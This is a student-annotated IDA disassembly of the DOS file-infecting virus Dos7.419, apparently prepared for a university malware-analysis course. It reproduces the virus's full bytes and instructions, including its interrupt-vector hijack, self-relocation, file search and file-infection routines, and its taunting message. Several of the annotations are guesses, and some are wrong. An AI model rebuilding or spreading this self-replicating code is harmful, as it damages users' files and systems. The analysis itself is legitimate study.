```
seg000:0100                         ;
seg000:0100                         ; +-------------------------------------------------------------------------+
seg000:0100                         ; |      This file was generated by The Interactive Disassembler (IDA)      |
seg000:0100                         ; |           Copyright (c) 2019 Hex-Rays, <support@hex-rays.com>           |
seg000:0100                         ; |                     License info: 48-3051-7114-0E                       |
seg000:0100                         ; |           LSU (Louisiana State University), Academic licenses           |
seg000:0100                         ; +-------------------------------------------------------------------------+
seg000:0100                         ;
seg000:0100                         ; Input SHA256 : 7E00694397CBB7B422CB2F3E39A34C7FB7554931A1A9A2CF9AE7B2BCF42296E3
seg000:0100                         ; Input MD5    : 0B4A318803AA1B9B6A0DCC55CEFCB7CE
seg000:0100                         ; Input CRC32  : 785762D7
seg000:0100
seg000:0100                         ; ---------------------------------------------------------------------------
seg000:0100                         ; File Name   : C:\Users\golden\Desktop\Virus.DOS.Dos7.419
seg000:0100                         ; Format      : Binary file
seg000:0100                         ; Base Address: 0000h Range: 0000h - 01C8h Loaded length: 01C8h
seg000:0100
seg000:0100                                       .8086
seg000:0100                                       .model flat
seg000:0100
seg000:0100                         ; ===========================================================================
seg000:0100
seg000:0100                         ; Segment type: Pure code
seg000:0100                         seg000          segment byte public 'CODE'
seg000:0100                                       assume cs:seg000
seg000:0100                                       ;org 100h
seg000:0100                                       assume es:nothing, ss:nothing, ds:nothing
seg000:0100 C7 06 07 01 52 01                     mov     word ptr ds:loc_106+1, 152h ; ax := 168h ~ 360
seg000:0106
seg000:0106                         loc_106:                                ; DATA XREF: seg000:0100↑w
seg000:0106 B8 68 01                              mov     ax, 168h        ; ax := 168h ~ 360
seg000:0109 A3 2E 01                              mov     word ptr ds:loc_129+5, ax ; in DOS7.... OS loads into
seg000:0109                                                               ; ---> ds:100[virus < 512bytes long][other region]
seg000:010C 2B C0                                 sub     ax, ax          ; ax := 0
seg000:010E 1E                                    push    ds              ; ds --> stack (we have no idea what this was...)
seg000:010F 8E D8                                 mov     ds, ax          ; ds := ax ~ 0
seg000:0111 8E C0                                 mov     es, ax          ; es := ax ~ 0
seg000:0113 BE 84 00                              mov     si, 84h         ; si := 84h ~ 132 ... where int 21h vector table is
seg000:0116 BF 0C 00                              mov     di, 0Ch         ; di := 0Ch ~ 13 ... where int 3h vector table location is
seg000:0116                                                               ; so will replace 0Ch w/ 84h ie so every 'Trap to debugger'
(int 3) will actually be a int 21h call...
seg000:0116                                                               ;
seg000:0116                                                               ; movsb lines (replacing int 3 w/ int 21h)
seg000:0116                                                               ; byte @ ds:si --> es:di (si--, di--) twice...
seg000:0116                                                               ; si (segment) -----> di (segment)
seg000:0116                                                               ; [a]           ----> [b]
seg000:0116                                                               ; [b]           ----> [a]
seg000:0119 A5                                    movsw
seg000:011A A5                                    movsw
seg000:011B 26 A1 00 00                           mov     ax, es:0        ; note: es a segement register
seg000:011B                                                               ; d.h. for segment registers you can do
seg000:011B                                                               ;  'segment_register:offset'
seg000:011B                                                               ; so you are moving es:0 --> 16_bit_ax
seg000:011F A3 70 01                              mov     word ptr ds:loc_16B+5, ax ; moves 168h~360 ---> wrd ptr in es:offset==0
seg000:0122 26 A1 02 00                           mov     ax, es:2
seg000:0126 A3 77 01                              mov     word ptr ds:loc_172+5, ax ; moves 5341h~21313 ----> wrd ptr es:2
seg000:0126                                                               ; ie moves 21313 into wherever es:2 points to
seg000:0129
seg000:0129                         loc_129:                                ; DATA XREF: seg000:0109↑w
seg000:0129 26 C7 06 00 00 4C 4D                  mov     word ptr es:0, 4D4Ch ; in DOS7.... OS loads into
seg000:0129                                                               ; ---> ds:100[virus < 512bytes long][other region]
seg000:0130 1F                                    pop     ds              ; pop stack item --> ds
seg000:0131 8C D8                                 mov     ax, ds          ; ax := ds
seg000:0133 80 C4 10                              add     ah, 10h         ; ah += 10h
seg000:0136 26 A3 02 00                           mov     es:2, ax        ; note: {seg:offset} in slideshow
seg000:0136                                                               ; (special DOS thing w/ offset of 2)
seg000:013A 8E C0                                 mov     es, ax          ; es := ax
seg000:013C                                       assume es:nothing
seg000:013C BF 00 01                              mov     di, 100h        ; ds:si --> es:di
seg000:013C                                                               ; ds:100 --(virus)--> es:???
seg000:013F 8B F7                                 mov     si, di          ; di := si ~ [01][00]h
seg000:0141 B9 A3 01                              mov     cx, 1A3h        ; cx := [01][A3]h ~ 419
seg000:0144 F3 A4                                 rep movsb               ; for 419 times (bytes), copy the virus over
seg000:0144                                                               ; (or maybe part of it...)
seg000:0144                                                               ; but wait ===> he said the virus < 512,
seg000:0144                                                               ; &... 419 < 512
seg000:0144                                                               ; YES, IS COPYING VIRUS ELSEWHERE!!!!
seg000:0146 8E D8                                 mov     ds, ax          ; ds := ax
```

```
seg000:0148                                     assume ds:nothing
seg000:0148 F7 F1                               div     cx              ; dx:ax / cx --> storing: ax~quotient, dx~remainder ... if
we replaced the stuff at the offset... and we replace the 0 (INT 0) in memory... ie the /0... giving ctrl to virus (gldn talked abt
this in class)
seg000:014A
seg000:014A                         loc_14A:                            ; CODE XREF: seg000:01AB↓j
seg000:014A B4 3E                               mov     ah, 3Eh ; '>'   ; note: "the '>' IDA comment is correct for ASCI but
irrelevant" (GLDN)
seg000:014A                                                             ;
seg000:014A                                                             ; ah := [3E]h ~ 48 + 14 = 62
seg000:014C CC                                  int     3               ; Trap to Debugger (int DOS... int21h(ah=3Eh) --> 'close
file referenced by file handle')
seg000:014D
seg000:014D                         loc_14D:                            ; CODE XREF: seg000:0195↓j
seg000:014D                                                             ; seg000:01A5↓j
seg000:014D B4 4F                               mov     ah, 4Fh ; 'O'   ; ah := [4F]h ~ 64+15=79
seg000:014F CC                                  int     3               ; Trap to Debugger (int DOS call... int21h(ah=4Fh) -->
'fine [find] next matching file')
seg000:0150 EB 3A                               jmp     short loc_18C   ; note sure what this is yet...
seg000:0150                                                             ; but what does the CF look like / symbolize / mean ????
seg000:0152                         ; ---------------------------------------------------------------------------
seg000:0152 2B C9                               sub     cx, cx          ; cx := 0
seg000:0152                                                             ; (so you will repeat 0 times in any rep loop moving
forward)
seg000:0154 41                                  inc     cx              ; cx++ ie cx += 1
seg000:0155 0E                                  push    cs              ; es := cs
seg000:0155                                                             ; !!nasty trick!!! ie "overlapping instructions"
seg000:0155                                                             ; BF:
seg000:0155                                                             ; seg000:0157                         loc_157:
; CODE XREF: seg000:015A↓j
seg000:0155                                                             ; seg000:0157 B8 05 FE                                  mov
ax, 0FE05h      ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0155                                                             ; seg000:015A EB FC                                     jmp
short near ptr loc_157+1 ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0155                                                             ; seg000:015C                         ;
seg000:0155                                                             ; seg000:015C 2D 02 E7                                  sub
ax, 0E702h
seg000:0155                                                             ; seg000:015F B7 01                                     mov
bh, 1
seg000:0155                                                             ; seg000:0161 BA 00 00                                  mov
dx, 0
seg000:0155                                                             ; seg000:0164 CD 13                                     int
13h             ; DISK - DISK - SET TYPE (AT,XT2,XT286,CONV,PS
seg000:0155                                                             ; seg000:0164
; AL = disk type AL = 03h - high-capacity disk in high-capacity drive
seg000:0156 07                                  pop     es              ; AFTER:
seg000:0156                                                             ; -->
seg000:0156                                                             ; 157 B8        db 0B8h
seg000:0156                                                             ; 158 05 FE EB  add ax, 0ebfeh (ax += [EB][FE]h~ax +=
60414)
seg000:0156                                                             ; 14B FC cld
seg000:0156                                                             ;
seg000:0156                                                             ; seg000:0157                         loc_157:
; CODE XREF: seg000:015A↓j
seg000:0156                                                             ; seg000:0157 B8 05 FE                                  mov
ax, 0FE05h      ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0156                                                             ; seg000:015A EB FC                                     jmp
short near ptr loc_157+1 ; "all 'assumes' are IDA trash that we didn't edit out" - GLDN
seg000:0156                                                             ; seg000:015C                         ;
seg000:0156                                                             ; seg000:015C 2D 02 E7                                  sub
ax, 0E702h
seg000:0156                                                             ; seg000:015F B7 01                                     mov
bh, 1
seg000:0156                                                             ; seg000:0161 BA 00 00                                  mov
dx, 0
seg000:0156                                                             ; seg000:0164 CD 13                                     int
13h             ; DISK - DISK - SET TYPE (AT,XT2,XT286,CONV,PS
seg000:0156                                                             ; seg000:0164
; AL = disk type AL = 03h - high-capacity disk in high-capacity drive
seg000:0156                         ; ---------------------------------------------------------------------------
seg000:0157                                     assume es:nothing
seg000:0157 B8                                  db 0B8h
seg000:0158                         ; ---------------------------------------------------------------------------
seg000:0158 05 FE EB                            add     ax, 0EBFEh
seg000:015B FC                                  cld
seg000:015C 2D 02 E7                            sub     ax, 0E702h
seg000:015F B7 01                               mov     bh, 1
seg000:0161 BA 00 00                            mov     dx, 0
```

```
seg000:0164 CD 13                                   int     13h             ; DISK - DISK - SET TYPE (AT,XT2,XT286,CONV,PS
seg000:0164                                                                 ; AL = disk type AL = 03h - high-capacity disk in high-
capacity drive
seg000:0164                         ; ---------------------------------------------------------------------------
seg000:0166 EB                                      db 0EBh
seg000:0167 EC                                      db 0ECh
seg000:0168                         ; ---------------------------------------------------------------------------
seg000:0168 06                                      push    es              ; stack below:
seg000:0168                                                                 ; es
seg000:0168                                                                 ; --
seg000:0168                                                                 ; cx --(off stack)--> es
seg000:0168                                                                 ;
seg000:0168                                                                 ; ie you basically save the es onto the stack then..
seg000:0168                                                                 ;    save es := cs
seg000:0169 51                                      push    cx              ; stores the locations (ptrs to them) in es:0 & es:2 where
we write these values to below...
seg000:016A 07                                      pop     es
seg000:016B
seg000:016B                         loc_16B:                                ; DATA XREF: seg000:011F↑w
seg000:016B 26 C7 06 00 00 4C 4D                    mov     word ptr es:0, 4D4Ch ; moves 168h~360 ---> wrd ptr in es:offset==0
seg000:0172
seg000:0172                         loc_172:                                ; DATA XREF: seg000:0126↑w
seg000:0172 26 C7 06 02 00 41 53                    mov     word ptr es:2, 5341h ; moves 5341h~21313 ----> wrd ptr es:2
seg000:0172                                                                 ; ie moves 21313 into wherever es:2 points to
seg000:0179 07                                      pop     es              ; restores the previous es value saved before it was set by
cx for the prior 2 movs
seg000:017A C7 06 07 01 68 01                       mov     word ptr ds:107h, 168h ; moves 168h~360 -----> wrd ptr ds:offset==107h~263
seg000:0180 B4 1A                                   mov     ah, 1Ah         ; ah := 1Ah~26
seg000:0180                                                                 ; [eax(32) ... ax(16)->[ah(8)][al(8)]]
seg000:0182 99                                      cwd                     ; sign-extends the 16-bit value in the ax register into 32-
bit dx:ax register pair
seg000:0183 CC                                      int     3               ; Trap to Debugger (in DOS... int21h(ah=1ah) --> 'set disk
transfer area 'DTA')
seg000:0184 B4 4E                                   mov     ah, 4Eh ; 'N'   ; ah := 4Eh~78
seg000:0186 2B C9                                   sub     cx, cx          ; zeroes out cx
seg000:0188 BA 23 02                                mov     dx, 223h        ; dx := 223h~547
seg000:018B CC                                      int     3               ; Trap to Debugger (in DOS... int21h(ah=4eh) --> 'find
first matching file'
seg000:018C
seg000:018C                         loc_18C:                                ; CODE XREF: seg000:0150↑j
seg000:018C 72 7E                                   jb      short loc_20C   ; jump if below (CF==1)...
seg000:018C                                                                 ; why do we care abt the carry flag here????
seg000:018E B8 02 3D                                mov     ax, 3D02h       ; ax := 3D02h ~ 15618
seg000:0191 BA 1E 00                                mov     dx, 1Eh         ; dx := 1Eh ~ 16+14 = 30
seg000:0194 CC                                      int     3               ; Trap to Debugger (in DOS... int21h(ax=3d02h ~ {ah=3dh,
al=02h}) --> (open_file, read/write) )
seg000:0195 72 B6                                   jb      short loc_14D   ; CF==1????
seg000:0197 8B D8                                   mov     bx, ax          ; bx := ax
seg000:0199 B4 3F                                   mov     ah, 3Fh ; '?'   ; ah := 3Fh ~ 63
seg000:019B BF 1A 00                                mov     di, 1Ah         ; di := 26
seg000:019E 8B 0D                                   mov     cx, [di]        ; cx := [1Ah] = [26] =
seg000:019E                                                                 ; what is here?????
seg000:019E                                                                 ;
seg000:019E                                                                 ;
seg000:019E                                                                 ; below, basically:
seg000:019E                                                                 ; cx,dx,ax := di-->, value in si, si--->
seg000:01A0 8B D6                                   mov     dx, si          ; dx := si
seg000:01A2 CC                                      int     3               ; Trap to Debugger... (in DOS... int21h(ah=3fh) --> read
file referenced by file handle)
seg000:01A3 8B 04                                   mov     ax, [si]        ; ax := location of value of si
seg000:01A5 72 A6                                   jb      short loc_14D   ; ah := [4F]h ~ 64+15=79
seg000:01A7 3B 06 00 01                             cmp     ax, ds:100h     ; checking if this area has the virus???
seg000:01AB 74 9D                                   jz      short loc_14A   ; if it does have the virus / what we are looking for
seg000:01AB                                                                 ; then go here
seg000:01AD 8B 44 02                                mov     ax, [si+2]      ; if it doesn't have what we are looking for,
seg000:01AD                                                                 ;
seg000:01AD                                                                 ; move 2  bits/bytes-which one??? into ax then compare...
seg000:01AD                                                                 ;
seg000:01AD                                                                 ; is that the same as 6015h ~ 24597
seg000:01B0 3D 15 60                                cmp     ax, 6015h
seg000:01B3 74 02                                   jz      short loc_1B7   ; if it is there (the virus at this section...) --> loc_1B7
seg000:01B3                                                                 ; ELSE just jump to loc_1F6 (infection / normal routine??)
seg000:01B5 EB 3F                                   jmp     short loc_1F6
seg000:01B7                         ; ---------------------------------------------------------------------------
seg000:01B7
seg000:01B7                         loc_1B7:                                ; CODE XREF: seg000:01B3↑j
seg000:01B7 57                                      push    di              ; the location [si+2] had what we want...
seg000:01B7                                                                 ; --- (ie saving this stuff to the stack)
```

```
seg000:01B7                                                             ; [di]
seg000:01B7                                                             ; [si]
seg000:01B8 56                                  push    si
seg000:01B9 BE 4D 02                            mov     si, 24Dh        ; si := 24Dh ~ 589
seg000:01BC BF F0 23                            mov     di, 23F0h       ; di := 23F0h ~ 9200
seg000:01BF B9 55 00                            mov     cx, 55h ; 'U'   ; cx := 55h ~ 85
seg000:01C2 90                                  nop                     ; do nothing??? wait??? filler??
seg000:01C2                                                             ; 'nop slide/sled' := offering a buffer for malware to use
later?
seg000:01C2                                                             ;   ie if code directs to this location... it will slide
down
seg000:01C2                                                             ;      until it hits the next runable code
seg000:01C3 FC                                  cld                     ; clear direction flag...
seg000:01C3                                                             ; the CF/DF seems to be a major director for lots of these
jumps and loops in the code
seg000:01C4 F3 A4                               rep movsb               ; for 55h~85 times this repeats...
seg000:01C4                                                             ; copying 85 string-bytes starting at 24Dh to...
seg000:01C4                                                             ;  starting at 23F0h
seg000:01C6 BE 2A 02                            mov     si, 22Ah        ; reset si := 22Ah ~ 554
seg000:01C9 BF 57 90                            mov     di, 9057h       ; reset di := 9057h ~ 36951
seg000:01CC B9 0C 00                            mov     cx, 0Ch         ; set copies, cx := 0ch ~ 12... ie times or bytes...
seg000:01CF 90                                  nop                     ; nop - nothing OR???
seg000:01CF                                                             ; code will be injected at some later point here?
seg000:01CF                                                             ; maybe instead of innocently copying these 12 bytes, since
it already has a src and dest index set... maybe one of those is malware code that then just runs ???? (crazy theory or idea but a
possibility)
seg000:01D0 F3 A4                               rep movsb               ; copy src bytes from destination bytes
seg000:01D2 BE 36 02                            mov     si, 236h        ; src si:= 236h ~ 566 [0x100][4xx virus][space/stuff]... so
clearly this is is the virus ???
seg000:01D5 BF 4C 91                            mov     di, 914Ch       ; dest di:= 914ch ~ 37196 --> copying the virus to random
further memory address out there?
seg000:01D8 B9 17 00                            mov     cx, 17h         ; cx := 23
seg000:01DB 90                                  nop
seg000:01DC F3 A4                               rep movsb               ; ds:si --> es:di
seg000:01DC                                                             ; (si++; di---)... copying large blocks of data
seg000:01DE B8 00 42                            mov     ax, 4200h       ; ax := 4200h~16896
seg000:01E1 2B D2                               sub     dx, dx          ; clear dx
seg000:01E3 8B CA                               mov     cx, dx          ; cx := dx (0-d out / wiped ==> cx wiped as well)
seg000:01E5 CC                                  int     3               ; Trap to Debugger (int DOS... int21h(ax=4200h~
{ah=42h,al=0h}) --> 'move file pointer (move read-write pointer for file)' from beginning (00h=al)
seg000:01E6 B4 40                               mov     ah, 40h ; '@'   ; ah := 40h~64
seg000:01E8 BA A3 02                            mov     dx, 2A3h        ; dx:=2A3h~675
seg000:01EB B9 BD CE                            mov     cx, 0CEBDh      ; cx := 0cebdh~52925
seg000:01EB                                                             ; ... so this will write to high memory... likely will be
written to or read from later
seg000:01EE CC                                  int     3               ; Trap to Debugger ... write file (int21h(40h))
seg000:01EF B4 3E                               mov     ah, 3Eh ; '>'   ; ah := 3eh~62
seg000:01F1 CC                                  int     3               ; Trap to Debugger ... close file (like above)
seg000:01F2 5E                                  pop     si              ; top of stack () ---> si
seg000:01F2                                                             ; ie restoring the stack from earlier (start of loc_1b7)
seg000:01F3 5F                                  pop     di              ; top of stack () ---> di
seg000:01F4 EB 16                               jmp     short loc_20C   ; note... prior jump restored the si&di ptrs... so clearly
they are imporant to be 'normal' here... just a note... may not be relevant
seg000:01F4                                                             ;
seg000:01F4                                                             ; ax:= ss (what is this ??? )
seg000:01F6                             ; ---------------------------------------------------------------------------
seg000:01F6
seg000:01F6                             loc_1F6:                        ; CODE XREF: seg000:01B5↑j
seg000:01F6 B8 00 42                            mov     ax, 4200h
seg000:01F9 2B D2                               sub     dx, dx
seg000:01FB 8B CA                               mov     cx, dx
seg000:01FD CC                                  int     3               ; Trap to Debugger ... same as above... move file ptry (r-w
ptr for file) from beginning (dx&cx=0 ==> from beginning ...to the beginning)
seg000:01FE FE C6                               inc     dh
seg000:0200 B4 40                               mov     ah, 40h ; '@'
seg000:0202 8B 0D                               mov     cx, [di]
seg000:0204 81 C1 A3 01                         add     cx, 1A3h
seg000:0208 CC                                  int     3               ; Trap to Debugger (write the file)
seg000:0209 B4 3E                               mov     ah, 3Eh ; '>'
seg000:020B CC                                  int     3               ; Trap to Debugger (close the file)
seg000:020C
seg000:020C                             loc_20C:                        ; CODE XREF: seg000:loc_18C↑j
seg000:020C                                                             ; seg000:01F4↑j
seg000:020C 8C D0                               mov     ax, ss          ; note... prior jump restored the si&di ptrs... so clearly
they are imporant to be 'normal' here... just a note... may not be relevant
seg000:020C                                                             ;
seg000:020C                                                             ; ax:= ss (what is this ??? )
seg000:020E 8E C0                               mov     es, ax          ; es,ds := ax == ss
```

```
seg000:0210 8E D8                                   mov     ds, ax
seg000:0212                                         assume ds:nothing
seg000:0212 50                                      push    ax              ; pushing ax to the stack... so now its...
seg000:0212                                                                 ; ----- (last part of stack; unless changed somehow)
seg000:0212                                                                 ; [si]
seg000:0212                                                                 ; [di]
seg000:0212                                                                 ; [ax] ??
seg000:0213 B4 1A                                   mov     ah, 1Ah         ; ah := 1Ah~26... so maybe will loop for this many times
later by moving it to cx??? or not sure ....
seg000:0215 D1 EA                                   shr     dx, 1           ; previously... dx==2A3h~675
seg000:0215                                                                 ; so 'shr dx, 1' ~ dx := 2A3h/2 ~ 675/2 = 151h~337
seg000:0217 CC                                      int     3               ; Trap to Debugger (close file)
seg000:0218 BF 00 01                                mov     di, 100h        ; di := 100h~256
seg000:021B 57                                      push    di              ; pushing ax to the stack... so now its...
seg000:021B                                                                 ; ----- (last part of stack; unless changed somehow)
seg000:021B                                                                 ; [si]
seg000:021B                                                                 ; [di]
seg000:021B                                                                 ; [ax]
seg000:021B                                                                 ; [new_di==100h~256]
seg000:021C 8B CC                                   mov     cx, sp          ; cx := sp
seg000:021E 2B CE                                   sub     cx, si          ; cx = sp - si
seg000:021E                                                                 ; ie cx := stack_ptr - stack_index
seg000:0220 F3 A4                                   rep movsb               ; ds:si ---> es:di
seg000:0220                                                                 ; copies the state or that built up stack {si,di,ax,
new_di} ??? for later, clears it, maybe just a certain part of the program... not sure yet
seg000:0222 CB                                      retf
seg000:0222                         ; ---------------------------------------------------------------------------
seg000:0223 2A                                      db  2Ah ; *             ; start of the read-in message
seg000:0224 57                                      db  57h ; W
seg000:0225 2E                                      db  2Eh ; .
seg000:0226 43                                      db  43h ; C
seg000:0227 3F                                      db  3Fh ; ?
seg000:0228 4D                                      db  4Dh ; M
seg000:0229 00                                      db    0
seg000:022A 69                                      db  69h ; i
seg000:022B 73                                      db  73h ; s
seg000:022C 20                                      db  20h
seg000:022D 69                                      db  69h ; i
seg000:022E 6E                                      db  6Eh ; n
seg000:022F 66                                      db  66h ; f
seg000:0230 65                                      db  65h ; e
seg000:0231 63                                      db  63h ; c
seg000:0232 74                                      db  74h ; t
seg000:0233 65                                      db  65h ; e
seg000:0234 64                                      db  64h ; d
seg000:0235 21                                      db  21h ; !
seg000:0236 6F                                      db  6Fh ; o
seg000:0237 79                                      db  79h ; y
seg000:0238 2C                                      db  2Ch ; ,
seg000:0239 20                                      db  20h
seg000:023A 61                                      db  61h ; a
seg000:023B 72                                      db  72h ; r
seg000:023C 65                                      db  65h ; e
seg000:023D 20                                      db  20h
seg000:023E 79                                      db  79h ; y
seg000:023F 6F                                      db  6Fh ; o
seg000:0240 75                                      db  75h ; u
seg000:0241 20                                      db  20h
seg000:0242 65                                      db  65h ; e
seg000:0243 76                                      db  76h ; v
seg000:0244 65                                      db  65h ; e
seg000:0245 72                                      db  72h ; r
seg000:0246 20                                      db  20h
seg000:0247 64                                      db  64h ; d
seg000:0248 75                                      db  75h ; u
seg000:0249 6D                                      db  6Dh ; m
seg000:024A 62                                      db  62h ; b
seg000:024B 21                                      db  21h ; !
seg000:024C 20                                      db  20h
seg000:024D 4D                                      db  4Dh ; M
seg000:024E 53                                      db  53h ; S
seg000:024F 44                                      db  44h ; D
seg000:0250 4F                                      db  4Fh ; O
seg000:0251 53                                      db  53h ; S
seg000:0252 20                                      db  20h
seg000:0253 37                                      db  37h ; 7
seg000:0254 20                                      db  20h
seg000:0255 28                                      db  28h ; (
```

```
seg000:0256 43                                  db  43h ; C
seg000:0257 29                                  db  29h ; )
seg000:0258 31                                  db  31h ; 1
seg000:0259 39                                  db  39h ; 9
seg000:025A 39                                  db  39h ; 9
seg000:025B 33                                  db  33h ; 3
seg000:025C 20                                  db  20h
seg000:025D 41                                  db  41h ; A
seg000:025E 4E                                  db  4Eh ; N
seg000:025F 41                                  db  41h ; A
seg000:0260 52                                  db  52h ; R
seg000:0261 4B                                  db  4Bh ; K
seg000:0262 49                                  db  49h ; I
seg000:0263 43                                  db  43h ; C
seg000:0264 4B                                  db  4Bh ; K
seg000:0265 20                                  db  20h
seg000:0266 53                                  db  53h ; S
seg000:0267 59                                  db  59h ; Y
seg000:0268 53                                  db  53h ; S
seg000:0269 54                                  db  54h ; T
seg000:026A 45                                  db  45h ; E
seg000:026B 4D                                  db  4Dh ; M
seg000:026C 53                                  db  53h ; S             ; end of the first part of the read-in message... could be
code below here or just likely filler though... I don't think it is code
seg000:026D 0D                                  db  0Dh
seg000:026E 0A                                  db  0Ah
seg000:026F 01                                  db    1
seg000:0270 01                                  db    1
seg000:0271 01                                  db    1
seg000:0272 20                                  db  20h
seg000:0273 20                                  db  20h
seg000:0274 20                                  db  20h
seg000:0275 20                                  db  20h
seg000:0276 20                                  db  20h
seg000:0277 44                                  db  44h ; D             ; continues the read-in msg
seg000:0278 4F                                  db  4Fh ; O
seg000:0279 53                                  db  53h ; S
seg000:027A 20                                  db  20h
seg000:027B 36                                  db  36h ; 6
seg000:027C 20                                  db  20h
seg000:027D 41                                  db  41h ; A
seg000:027E 6E                                  db  6Eh ; n
seg000:027F 74                                  db  74h ; t
seg000:0280 69                                  db  69h ; i
seg000:0281 76                                  db  76h ; v
seg000:0282 69                                  db  69h ; i
seg000:0283 72                                  db  72h ; r
seg000:0284 75                                  db  75h ; u
seg000:0285 73                                  db  73h ; s
seg000:0286 20                                  db  20h
seg000:0287 73                                  db  73h ; s
seg000:0288 75                                  db  75h ; u
seg000:0289 63                                  db  63h ; c
seg000:028A 6B                                  db  6Bh ; k
seg000:028B 73                                  db  73h ; s
seg000:028C 2E                                  db  2Eh ; .
seg000:028D 20                                  db  20h
seg000:028E 49                                  db  49h ; I
seg000:028F 74                                  db  74h ; t
seg000:0290 20                                  db  20h
seg000:0291 6D                                  db  6Dh ; m
seg000:0292 69                                  db  69h ; i
seg000:0293 73                                  db  73h ; s
seg000:0294 73                                  db  73h ; s
seg000:0295 65                                  db  65h ; e
seg000:0296 64                                  db  64h ; d
seg000:0297 20                                  db  20h
seg000:0298 74                                  db  74h ; t
seg000:0299 68                                  db  68h ; h
seg000:029A 69                                  db  69h ; i
seg000:029B 73                                  db  73h ; s
seg000:029C 20                                  db  20h
seg000:029D 6F                                  db  6Fh ; o
seg000:029E 6E                                  db  6Eh ; n
seg000:029F 65                                  db  65h ; e
seg000:02A0 21                                  db  21h ; !
seg000:02A1 20                                  db  20h
seg000:02A2 24                                  db  24h ; $             ; message pauses here??? is there a bit of code right below
```

here or just part of the msg ? (YES!! but I didn't get time to disassemble)... note: im editing the .lst file from home... in vim... but i remember some move 9 thing ... and ik this gets copied... so a guess: it is what prints this msg at the end of the virus (i feel like i remember a print thing when spamming between c & u in ida)

```
seg000:02A3 B4                                  db 0B4h
seg000:02A4 09                                  db    9
seg000:02A5 BA                                  db 0BAh
seg000:02A6 09                                  db    9
seg000:02A7 01                                  db    1
seg000:02A8 CC                                  db 0CCh
seg000:02A9 B4                                  db 0B4h
seg000:02AA 4C                                  db  4Ch ; L
seg000:02AB CC                                  db 0CCh
seg000:02AC 5B                                  db  5Bh ; [
seg000:02AD 44                                  db  44h ; D
seg000:02AE 4F                                  db  4Fh ; O
seg000:02AF 53                                  db  53h ; S
seg000:02B0 20                                  db  20h
seg000:02B1 37                                  db  37h ; 7
seg000:02B2 76                                  db  76h ; v
seg000:02B3 01                                  db    1
seg000:02B4 01                                  db    1
seg000:02B5 01                                  db    1
seg000:02B6 5D                                  db  5Dh ; ]
seg000:02B7 20                                  db  20h
seg000:02B8 4C                                  db  4Ch ; L
seg000:02B9 75                                  db  75h ; u
seg000:02BA 63                                  db  63h ; c
seg000:02BB 69                                  db  69h ; i
seg000:02BC 66                                  db  66h ; f
seg000:02BD 65                                  db  65h ; e
seg000:02BE 72                                  db  72h ; r
seg000:02BF 20                                  db  20h
seg000:02C0 4D                                  db  4Dh ; M
seg000:02C1 65                                  db  65h ; e
seg000:02C2 73                                  db  73h ; s
seg000:02C3 73                                  db  73h ; s
seg000:02C4 69                                  db  69h ; i
seg000:02C5 61                                  db  61h ; a
seg000:02C6 68                                  db  68h ; h
seg000:02C7 24                                  db  24h ; $             ; end of read-in msg fr...fr
seg000:02C7                           seg000    ends
seg000:02C7
seg000:02C7
seg000:02C7                                     end
```